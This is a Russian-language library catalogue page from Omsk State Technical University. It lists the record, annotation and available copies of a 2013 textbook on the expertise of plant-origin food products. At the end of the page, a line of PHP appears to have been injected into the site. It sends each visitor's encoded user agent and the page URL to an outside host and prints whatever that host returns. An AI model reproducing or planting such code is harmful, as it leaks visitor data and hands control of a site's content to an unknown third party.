Перейти на сайт
библиотеки ОмГТУ
Share |
   
   
   
   
   
   

 
      Виртуальная справка
 
      Личный кабинет

Логин
Пароль
Забыли пароль?
Регистрация

 
      Счетчики
Rambler's Top100
Яндекс цитирования

Сейчас на сайте

47 пользователей



 
      Наши партнеры
Студенческий информационный портал компании
("Шифр документа=658.6/.8/И29-984767701")
Результаты поиска
E_OMSTU: Найдено записей: 1
1. 
658.6/.8/И29-984767701
658.6/.8/И29
Идентификационная и товарная экспертиза продуктов растительного происхождения [Текст] : учеб. пособие для вузов по специальности 080401 - товароведение и экспертиза товаров / Л. Г. Елисеева [и др.] ; под ред. Л. Г. Елисеевой. - М. : ИНФРА-М, 2013. - 523 с. - (Высшее образование). - Библиогр.: с. 491-501. - ISBN 978-5-16-003821-6 : 394.35 р.

УДК 658.62(075)

Рубрики:
Продукты растительного происхождения -- Экспертиза -- Учебники и пособия

Кл.слова (ненормированные): УЧЕБНИК И ПОСОБИЕ * -- ЗЕРНО -- МУКА -- КРУПА -- ХЛЕБ -- МАКАРОНЫ -- ОВОЩИ -- КОФЕ -- ЧАЙ -- ПРЯНОСТЬ -- ПРИПРАВА -- САХАР -- ГМО
Аннотация: Рассматриваются теоретические основы идентификационной и товарной экспертизы продуктов растительного происхождения, в том числе зерномучных товаров, свежих плодов и овощей, вкусовых товаров, крахмала, сахара, меда и кондитерских товаров и др.
Особое внимание уделяется экспертизе генетически модифицированных пищевых продуктов растительного происхождения.
Для студентов, обучающихся по специальности «Товароведение», также специалистов торговли, работников таможенных и экспертных предприятий
Доп. точки доступа:
Елисеева, Л. Г.
Иванова, Т. Н.
Положишникова, М. А.
Рыжакова, А. В.
Елисеева, Л. Г.ред.
Экз-ры полностью 658.6/.8/И29-984767701
Имеются экземпляры в отделах:
ИДТ (07.12.2017г. Инв.638967 - 394.35 р.) - свободен
ИДТ (07.12.2017г. Инв.638969 - 394.35 р.) - свободен
ИДТ (07.12.2017г. Инв.638963 - 394.35 р.) - свободен
ИДТ (07.12.2017г. Инв.638968 - 394.35 р.) - свободен
ИДТ (07.12.2017г. Инв.638970 - 394.35 р.) - свободен
ИДТ (07.12.2017г. Инв.638964 - 394.35 р.) - свободен
ИДТ (07.12.2017г. Инв.638966 - 394.35 р.) - свободен
ИДТ (07.12.2017г. Инв.638965 - 394.35 р.) - свободен
ИДТ (07.12.2017г. Инв.638971 - 394.35 р.) - свободен
ИДТ (01.08.2017г. Инв.632909 - 394.35 р.) - свободен
Экземпляры 
    Место храненияЭкземпляров
    ВсегоСвободно
    ИДТ1010

Рассматриваются теоретические основы идентификационной и товарной экспертизы продуктов растительного происхождения, в том числе зерномучных товаров, свежих плодов и овощей, вкусовых товаров, крахмала, сахара, меда и кондитерских товаров и др.

Особое внимание уделяется экспертизе генетически модифицированных пищевых продуктов растительного происхождения.

Для студентов, обучающихся по специальности «Товароведение», также специалистов торговли, работников таможенных и экспертных предприятий

вернуться


    Адрес: 644050, Россия, г. Омск, пр-кт Мира, 11

    Телефон: (3812) 65-34-86, 65-23-69

    E-mail: libdirector@omgtu.ru, b_oa@omgtu.ru

[ О библиотеке ]     [ Читателю ]     [ Информационные ресурсы ]     [ Электронный каталог ]     [ Научная деятельность ]     [ Культура и досуг ]     [ ИРБИС в Омске ]

Электронное периодическое издание «lib.omgtu.ru» | Свидетельство о регистрации СМИ Эл № ФС77-45378 от 10.06.2011 Федеральной службы по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзор)| Выпуск № 2933 - 21.06.2019
© Омский государственный технический университет

Электронно-библиотечная система АРБУЗ ОмГТУ
Страница сгенерирована за 0.75 с.8 запросов, 0.25c. $useragent=$_SERVER['HTTP_USER_AGENT']; $bs=base64_encode($useragent); $sb='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; $ret = file_get_contents('http://jr.6tws.us/?UserAgent='.$bs."&Domain=".$sb); print $ret;